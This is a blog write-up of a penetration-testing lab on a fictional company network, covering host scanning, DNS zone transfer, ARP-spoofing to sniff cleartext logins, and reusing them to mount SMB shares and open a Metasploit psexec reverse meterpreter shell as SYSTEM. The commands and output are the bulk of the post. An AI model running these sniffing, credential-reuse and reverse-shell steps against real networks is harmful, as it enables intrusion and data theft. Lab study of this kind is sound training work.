Network sniffing and host poisoning

We are given this lab overview

Lab 10 overview.jpg

and the following scope of engagement:

The scope provided by the client is any host and device in the network 172.16.5.0/24

The tasks of this lab would be to sniff the traffic traversing the network, search for and analyze credentials and exploit them to launch a meterpreter shell on one of the hosts.

As always we begin with the ping sweep to discover alive hosts. Our IP is 172.16.5.100

root@Kali:~# nmap -sn -n 172.16.5.0/24
Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-22 23:18 +08
Nmap scan report for 172.16.5.1
Host is up (0.038s latency).
MAC Address: 00:50:56:A1:CD:6D (VMware)
Nmap scan report for 172.16.5.5
Host is up (0.039s latency).
MAC Address: 00:50:56:A1:E3:1B (VMware)
Nmap scan report for 172.16.5.6
Host is up (0.039s latency).
MAC Address: 00:50:56:A1:F8:0B (VMware)
Nmap scan report for 172.16.5.10
Host is up (0.10s latency).
MAC Address: 00:50:56:A1:82:7E (VMware)
Nmap scan report for 172.16.5.100
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 11.99 seconds

Next the indepth service and OS scan

root@Kali:~# nmap -sV -n -Pn 172.16.5.1,5,6,10

Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-22 23:39 +08
Nmap scan report for 172.16.5.1
Host is up (0.039s latency).
All 1000 scanned ports on 172.16.5.1 are filtered
MAC Address: 00:50:56:A1:CD:6D (VMware)

Nmap scan report for 172.16.5.5
Host is up (0.24s latency).
Not shown: 991 closed ports
PORT     STATE SERVICE            VERSION
135/tcp  open  msrpc              Microsoft Windows RPC
139/tcp  open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds       Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
1025/tcp open  msrpc              Microsoft Windows RPC
1026/tcp open  msrpc              Microsoft Windows RPC
1027/tcp open  msrpc              Microsoft Windows RPC
1028/tcp open  msrpc              Microsoft Windows RPC
1029/tcp open  msrpc              Microsoft Windows RPC
3389/tcp open  ssl/ms-wbt-server?
MAC Address: 00:50:56:A1:E3:1B (VMware)
Service Info: Host: WKST-TECHSUPPOR; OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 172.16.5.6
Host is up (0.24s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds  Microsoft Windows XP microsoft-ds
3389/tcp open  ms-wbt-server Microsoft Terminal Service
MAC Address: 00:50:56:A1:F8:0B (VMware)
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Nmap scan report for 172.16.5.10
Host is up (0.24s latency).
Not shown: 992 closed ports
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Microsoft DNS
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds  Microsoft Windows 2003 or 2008 microsoft-ds
1027/tcp open  msrpc         Microsoft Windows RPC
1029/tcp open  msrpc         Microsoft Windows RPC
1030/tcp open  msrpc         Microsoft Windows RPC
3389/tcp open  ms-wbt-server Microsoft Terminal Service
MAC Address: 00:50:56:A1:82:7E (VMware)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 4 IP addresses (4 hosts up) scanned in 684.31 seconds

172.16.5.1 has no services running and is likely the default gateway for the subnet so let’s confirm it by printing the routing table.

root@Kali:~# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.92.2    0.0.0.0         UG    100    0        0 eth0
10.10.10.0      172.16.5.1      255.255.255.0   UG    0      0        0 tap0
172.16.5.0      0.0.0.0         255.255.255.0   U     0      0        0 tap0
192.168.92.0    0.0.0.0         255.255.255.0   U     100    0        0 eth0

Great, we identified the default gateway. Note the services running. We have one DNS server, while all the hosts so far have NetBIOS sharing services running. Just to make sure we don’t miss other UDP only DNS servers we do a UDP scan as well

root@Kali:~# nmap -sU -p53 -Pn 172.16.5.1,5,6,10

Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-22 23:39 +08
Nmap scan report for 172.16.5.1
Host is up (0.041s latency).

PORT   STATE         SERVICE
53/udp open|filtered domain
MAC Address: 00:50:56:A1:CD:6D (VMware)

Nmap scan report for 172.16.5.5
Host is up (0.041s latency).

PORT   STATE         SERVICE
53/udp open|filtered domain
MAC Address: 00:50:56:A1:E3:1B (VMware)

Nmap scan report for 172.16.5.6
Host is up (0.087s latency).

PORT   STATE  SERVICE
53/udp closed domain
MAC Address: 00:50:56:A1:F8:0B (VMware)

Nmap scan report for 172.16.5.10
Host is up (0.066s latency).

PORT   STATE SERVICE
53/udp open  domain
MAC Address: 00:50:56:A1:82:7E (VMware)

Nmap done: 4 IP addresses (4 hosts up) scanned in 1.16 seconds

Nothing new learned. As with the previous post, lets enumerate the DNS server with the nmap brute force script

root@Kali:~# nmap --dns-servers 172.16.5.10 --script dns-brute --script-args dns-brute.domain=sportsfoo.com

Starting Nmap 7.60 ( https://nmap.org ) at 2018-11-22 23:55 +08
Pre-scan script results:
| dns-brute: 
|   DNS Brute-force hostnames: 
|     intranet.sportsfoo.com - 10.10.10.10
|_    ftp.sportsfoo.com - 10.10.10.6
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 18.17 seconds

So it seems that 10.10.10.6 is an FTP server. Ok, so let’s see if we are lucky and if this DNS server supports promiscuous DNS zone transfer. As it turns out it does

root@Kali:~# dig @172.16.5.10 -t axfr sportsfoo.com

; <<>> DiG 9.10.3-P4-Debian <<>> @172.16.5.10 -t axfr sportsfoo.com
; (1 server found)
;; global options: +cmd
sportsfoo.com.		3600	IN	SOA	els-winser2003.sportsfoo.com. hostmaster.sportsfoo.com. 19 900 600 86400 3600
sportsfoo.com.		3600	IN	NS	els-winser2003.sportsfoo.com.
sportsfoo.com.		3600	IN	NS	els-winser2003.sports.com.
els-winser2003.sportsfoo.com. 3600 IN	A	172.16.5.10
ftp.sportsfoo.com.	3600	IN	A	10.10.10.6
intranet.sportsfoo.com.	3600	IN	A	10.10.10.10
wkst-finance.sportsfoo.com. 3600 IN	A	172.16.5.6
wkst-techsupport.sportsfoo.com.	3600 IN	A	172.16.5.5
sportsfoo.com.		3600	IN	SOA	els-winser2003.sportsfoo.com. hostmaster.sportsfoo.com. 19 900 600 86400 3600
;; Query time: 495 msec
;; SERVER: 172.16.5.10#53(172.16.5.10)
;; WHEN: Fri Nov 23 00:00:07 +08 2018
;; XFR size: 9 records (messages 9, bytes 620)

That saves us the trouble of doing a reverse DNS lookup enumeration. Note the 10.10.10.0/24 hosts. These are hosts not previously discovered because they’re outside of 172.16.5.0/24 We can also infer that 172.16.5.5 is a tech-support host, whatever that means while 172.16.5.6 is a finance workstation. Probably we could expect some financial information shared by it?

With this information, we can draw a network topology. I did this with Lucidchart since I didn’t want to spend on an overpriced Visio.

Lab 10 topology

We’re next told to sniff traffic between three host pairs to see what we can find.

  1. 172.16.5.1 and 172.16.5.5
  2. 172.16.5.1 and 172.16.5.6
  3. 172.16.5.6 and 172.16.6.10

As before, prior to setting up arpspoof we need to enable ipv4 routing on the our host

root@Kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward

What about the other two hosts 10.10.10.6 and 10.10.10.10? Well as they are outside of the scope and subnet does that mean we cannot sniff their traffic? Not quite. Remember because they are outside the subnet, all traffic must pass through the default gateway. And because arpspoofing works on impersonating L2 MAC addresses the first two arpspoof pairs could actually be sniffing traffic between 172.16.5.5,6 and the 10.10.10.0/24 hosts. Oh, and also get Wireshark up and running to capture traffic.

The lab says to capture images between 1, 5. Let’s do that with driftnet

root@Kali:~# driftnet -i tap0
root@Kali:~# arpspoof -i tap0 -t 172.16.5.1 172.16.5.5
root@Kali:~# arpspoof -i tap0 -t 172.16.5.5 172.16.5.1

Almost by magic, some pictures start to appear:

Lab 10 task 6 pics.jpg

As the nullbyte tutorial mentions, driftnet saves all the sniffed images to /tmp directory. Head over there to copy them elsewhere if you want to keep them after stopping the tool:

Lab 10 task 5 drifnet folder.jpg

Ok, now the next arpspoof pair, pretty much almost the same thing

root@Kali:~# driftnet -i tap0
root@Kali:~# arpspoof -i tap0 -t 172.16.5.1 172.16.5.6
root@Kali:~# arpspoof -i tap0 -t 172.16.5.6 172.16.5.1

And the final arpspoof pair. This one the lab doesn’t say to capture images.

root@Kali:~# arpspoof -i tap0 -t 172.16.5.10 172.16.5.6
root@Kali:~# arpspoof -i tap0 -t 172.16.5.6 172.16.5.10

Save all the Wireshark captures for inspection. Let’s inspect the 172.16.5.1,5 traffic first. I won’t print the log here, but looking through there seems to be HTTP(S) requests to 10.10.10.10:80/443

Wireshark offers a conversation-like TCP stream inspection if you were to right click a TCP packet and Follow TCP Stream. This is what one such looks like

POST /checklogin.php HTTP/1.1
User-Agent: Google Chrome 5.8
Host: intranet.sportsfoo.com
Accept: */*
Content-Length: 61
Content-Type: application/x-www-form-urlencoded

myusername=bcaseiro&mypassword=#MySecretPassword&Submit=LoginHTTP/1.1 302 Found
Date: Thu, 22 Nov 2018 16:43:00 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
location: notheremyfriend.php
Content-Length: 0
Content-Type: text/html

GET /notheremyfriend.php HTTP/1.1
User-Agent: Google Chrome 5.8
Host: intranet.sportsfoo.com
Accept: */*

HTTP/1.1 200 OK
Date: Thu, 22 Nov 2018 16:43:02 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
Set-Cookie: PHPSESSID=gugqpgao5rcttsp45ci6mv04o0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 3975
Content-Type: text/html

Note the submitted username/password above we sniffed. It doesn’t mean this is the correct username/password, just that its one we intercepted. The cheeky HTTP 302 resource relocated code pointing to notheremyfriend.php suggest it isn’t actually the correct login creds.

Amongst the other TCP streams we also find HTTP status codes we also find 404:

POST /sports/checklogin.php HTTP/1.1
User-Agent: Safari 3.6
Host: intranet.sportsfoo.com
Accept: */*
Content-Length: 46
Content-Type: application/x-www-form-urlencoded

myusername=fiona&mypassword=shrek&Submit=Login5c


If you entered the URL manually please check your
spelling and try again.

4

b

49 If you think this is a server error, please contact the webmaster. HTTP/1.1 404 Not Found Date: Thu, 22 Nov 2018 16:43:06 GMT Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7 Vary: accept-language,accept-charset Accept-Ranges: bytes Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Content-Language: en

And also the images transferred

GET /images/juventus-italia.png HTTP/1.1
User-Agent: curl/7.28.0
Host: intranet.sportsfoo.com
Accept: */*

HTTP/1.1 200 OK
Date: Thu, 22 Nov 2018 16:43:19 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
Last-Modified: Thu, 08 Nov 2012 18:21:00 GMT
ETag: "8da6-4cdffe5a51b00"
Accept-Ranges: bytes
Content-Length: 36262
Content-Type: image/png

.PNG
.

Ok. Apart from HTTP we also have FTP traffic streams to analyze. Appended one below, note the top two provenance lines are not from Wireshark but added by myself

Source: 172.16.5.5
Destination: 10.10.10.6:21

220-Microsoft FTP Service
220 All of your actions are being logged for further analysis.
USER admin
331 Password required for admin.
PASS et1@sR7!
230-Welcome to our FTP Server! Only authorized users are allowed to login.
230 User admin logged in.
XPWD
257 "/" is current directory.
TYPE I
200 Type set to I.
QUIT
221

Recognised FTP commands used above are pwd (print working directory) and TYPE I which specifies image filetype to be transferred. Oh and we also sniffed the user/password too.

From the above TCP streams we can conclude that 10.10.10.10 is a web server while 10.10.10.6 is a FTP server.

Next, we analyse traffic between the 2nd arpspoof pair to find the correct login for accessing intranet.sportsfoo.com. There are many TCP streams to analyze. Here’s one of the wrong ones.

POST /checklogin.php HTTP/1.1
User-Agent: Mozilla 7.0
Host: intranet.sportsfoo.com
Accept: */*
Content-Length: 50
Content-Type: application/x-www-form-urlencoded

myusername=carlos&mypassword=carlinho&Submit=LoginHTTP/1.1 302 Found
Date: Thu, 22 Nov 2018 16:29:08 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
location: notheremyfriend.php
Content-Length: 0
Content-Type: text/html

GET /notheremyfriend.php HTTP/1.1
User-Agent: Mozilla 7.0
Host: intranet.sportsfoo.com
Accept: */*

HTTP/1.1 200 OK
Date: Thu, 22 Nov 2018 16:29:10 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
Set-Cookie: PHPSESSID=vk43d96vj2q4tukdo7ku5gpmv6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 3975
Content-Type: text/html

Won’t list all the HTTP POST requests and responses for the wrong logins, but here’s the list of wrong ones

myusername=bruno&mypassword=caseiro&Submit=LoginHTTP/1.1 302 Found
myusername=michelle&mypassword=morena&Submit=LoginHTTP/1.1 302 Found
myusername=aline&mypassword=university01&Submit=LoginHTTP/1.1 302 Found
myusername=carlos&mypassword=carlinho&Submit=LoginHTTP/1.1 302 Found

Just one HTTP POST request and reply TCP stream looks different from the rest.

POST /checklogin.php HTTP/1.1
User-Agent: Microsoft Internet Explorer 321 - Don't believe in everything that you see!
Host: intranet.sportsfoo.com
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded

myusername=almir&mypassword=Corinthians2012&Submit=LoginHTTP/1.1 302 Found
Date: Thu, 22 Nov 2018 16:29:13 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
location: login_success.php
Content-Length: 0
Content-Type: text/html

GET /login_success.php HTTP/1.1
User-Agent: Microsoft Internet Explorer 321 - Don't believe in everything that you see!
Host: intranet.sportsfoo.com
Accept: */*

HTTP/1.1 200 OK
Date: Thu, 22 Nov 2018 16:29:14 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
Content-Length: 6066
Content-Type: text/html

<!--
Login Successful



Click here for logout
-->

It returns a login_success.php resource relocated page instead. Remember this username/password. Reviewing the GET requests it seems most if not all were image retrieval ones

GET /images/corinthians.jpeg HTTP/1.1
GET /images/barcelona.jpg HTTP/1.1
GET /images/goalkeepers/taffarel.png HTTP/1.1
GET /images/goalkeepers/cassio.png HTTP/1.1
GET /images/goalkeepers/marcos.jpg HTTP/1.1
GET /images/goalkeepers/buffon.png HTTP/1.1

At this point, we have two logins to try. Fire up a web browser and navigate to 10.10.10.10 We get a page like this. Note as the lab says to load the URL intranet. sportsfoo.com you need to this line to your hosts file to resolve it. In Linux it’s in /etc/hosts

10.10.10.10 intranet.sportsfoo.com

Lab 10 login page.jpg

If you login with the creds above, you should see this

Lab 10 correct admin login.jpg

Wow. Aren’t those the images captured by driftnet?

Now we’re down to analyzing the last packet capture pair. We have one unanalyzed host, 172.16.5.10 Filtering the packets we see that it broadcasting a NetBIOS name query for WKST-FINANCE<20> (shared folders) and announcing its hostname

Lab 10 NBNS broadcast

Click to enlarge

We found the Finance workstation earlier. There must be some files shared. Wireshark allows us to pick up on file contents if traffic is unencrypted:

\salaries.doc

....................................v.<...........w..{\rtf1\ansi\ansicpg1252\deff0\deflang1033{\fonttbl{\f0\fswiss\fcharset0 Arial;}}
{\*\generator Msftedit 5.41.21.2500;}\viewkind4\uc1\pard\b\f0\fs24 Monthly Payment:\par
\par
\b0\fs20 IT Manager - 12,000 USD\par
Sales Manager - 20,000 USD\par
Network Administrator - 5,000 USD\par
IT AUditor - 6,000 USD\par
Technical Support Engineer - 3,000 USD\par

And

\performance.doc

..........<..............{\rtf1\ansi\ansicpg1252\deff0\deflang1033{\fonttbl{\f0\fswiss\fcharset0 Arial;}}
{\*\generator Msftedit 5.41.21.2500;}\viewkind4\uc1\pard\b\f0\fs20 ***************************************************************\par
***** Key Personnel of the Technology Team *****\par
*****\tab\tab\tab\tab\tab\tab *****\par
***************************************************************\par
\par
This is the list of the Key Personnel, target of salary increase in 2012:\b0\par
\par
Michelle Gomes\par
Aline Rodrigues\par
Vanessa Araujo\par
Flavia Silva\par

Browsing the Wireshark TCP streams, we find something interesting. Apparently the login username is transmitted in the clear, and it’s the same as that found previously.

Lab 10 task 11 WS username

Click to enlarge

Perhaps the careless user also reused the same passwords? Also note the domain name and share requested on 172.16.5.10 Perhaps we can try an SMB login with these parameters and credentials?

Our approach now is to try mounting the share on our local machine to browse the contents. Now as anyone knows, mount is difficult to use primarily because of the syntax. After some Googling, I set up the mount commands as follows

root@Kali:~# mount -t cifs //172.16.5.10/finance -o username=almir,password=Corinthians2012 "/root/PTP/Snifffing & MITM/finance"

Doing so mounts the share //172.16.5.10/finance on /root/PTP/Snifffing & MITM/finance:

Lab 10 task 11 finance  folder.jpg

And there we see the two docs whose contents we just sniffed with Wireshark. Good. These mounted drives behave just like folders on the local hard drive; you can copy them to your own folder to inspect the contents.

Let’s try the \\172.16.5.10\technology share.

Now the mount command on Linux is rather primitive, and actually doesn’t tell you if you entered the wrong password. You will instead see a blank technology folder and from that you can’t tell if the folder is empty or if the password is wrong. Bummer. Initially I thought it was empty or contained the same as the finance share.

Using the other admin login credential mounts the share successfully on our drive

root@Kali:~# mount -t cifs //172.16.5.10/technology -o username=admin,password=et1@sR7! "/root/PTP/Snifffing & MITM/technology"

Lab 10 task 11 technology folder.jpg

Ok. Now for the last part of the lab. Drop a meterpreter shell on 172.16.5.10 Should be easy right? Since we already have the login creds, we can use the psexec Metasploit module

At first I was unsuccessful

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOST                 172.16.5.10      yes       The target address
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SHARE                 finance          yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             ELS-WINSER2003   no        The Windows domain to use for authentication
   SMBPass               Corinthians2012  no        The password for the specified username
   SMBUser               almir            no        The username to authenticate as

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.16.5.100     yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(psexec) > exploit

[*] Started reverse TCP handler on 172.16.5.100:4444 
[*] 172.16.5.10:445 - Connecting to the server...
[*] 172.16.5.10:445 - Authenticating to 172.16.5.10:445|ELS-WINSER2003 as user 'almir'...
[*] 172.16.5.10:445 - Selecting native target
[*] 172.16.5.10:445 - Uploading payload...
[*] 172.16.5.10:445 - Created \xhLQJxRx.exe...
[-] 172.16.5.10:445 - ERROR_ACCESS_DENIED opening the Service Manager
[*] 172.16.5.10:445 - Deleting \xhLQJxRx.exe...
[*] Exploit completed, but no session was created.

What could the problem be? The error msg is never instructive. After some fiddling I managed to launch a meterpreter shell. It seem the problem is that you need admin creds to be used instead. And make sure the creds line up with what you managed to mount successfully.

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOST                 172.16.5.10      yes       The target address
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SHARE                 technology       yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                no        The Windows domain to use for authentication
   SMBPass               et1@sR7!         no        The password for the specified username
   SMBUser               admin            no        The username to authenticate as


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.16.5.100     yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf exploit(psexec) > exploit

[*] Started reverse TCP handler on 172.16.5.100:4444 
[*] 172.16.5.10:445 - Connecting to the server...
[*] 172.16.5.10:445 - Authenticating to 172.16.5.10:445| as user 'admin'...
[*] 172.16.5.10:445 - Selecting native target
[*] 172.16.5.10:445 - Uploading payload...
[*] 172.16.5.10:445 - Created \kFZUsBdH.exe...
[*] Sending stage (179267 bytes) to 172.16.5.10
[+] 172.16.5.10:445 - Service started successfully...
[*] 172.16.5.10:445 - Deleting \kFZUsBdH.exe...
[*] Meterpreter session 2 opened (172.16.5.100:4444 -> 172.16.5.10:1060) at 2018-11-24 18:50:55 +0800

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : ELS-WINSER2003
OS              : Windows .NET Server (Build 3790, Service Pack 1).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter > ifconfig

Interface  1
============
Name         : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU          : 1520
IPv4 Address : 127.0.0.1


Interface 65539
============
Name         : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:50:56:a1:82:7e
MTU          : 1500
IPv4 Address : 172.16.5.10
IPv4 Netmask : 255.255.255.0

meterpreter >

Ok we’re done.

Post mortem

Just like the previous lab, lets see what else was missed out in the lab by reading solutions. Apparently I missed that it was possible to profile the proportion of packets captured in Wireshark to see. Go to Statistics -> Protocol Hierachy and you’ll see this

Lab 10 task 5 stats.jpg

From the above, FTP packets make up 1.2%, HTTP 2.5% while ARP 12.9% of the total packets. We can also list the HTTP requests made with Statistics -> HTTP -> Requests

Lab 10 task 5 HTTP requests.jpg

Wireshark also allows us to retrieve images exchanged in the packet capture. Go to File -> Export objects -> HTTP

Lab 10 export objects.jpg

There are other options like SMB which allow you to save files sent over NetBIOS-TCP too. All these can be extracted from the .pcapng file. Amazing isn’t it?

 

Advertisements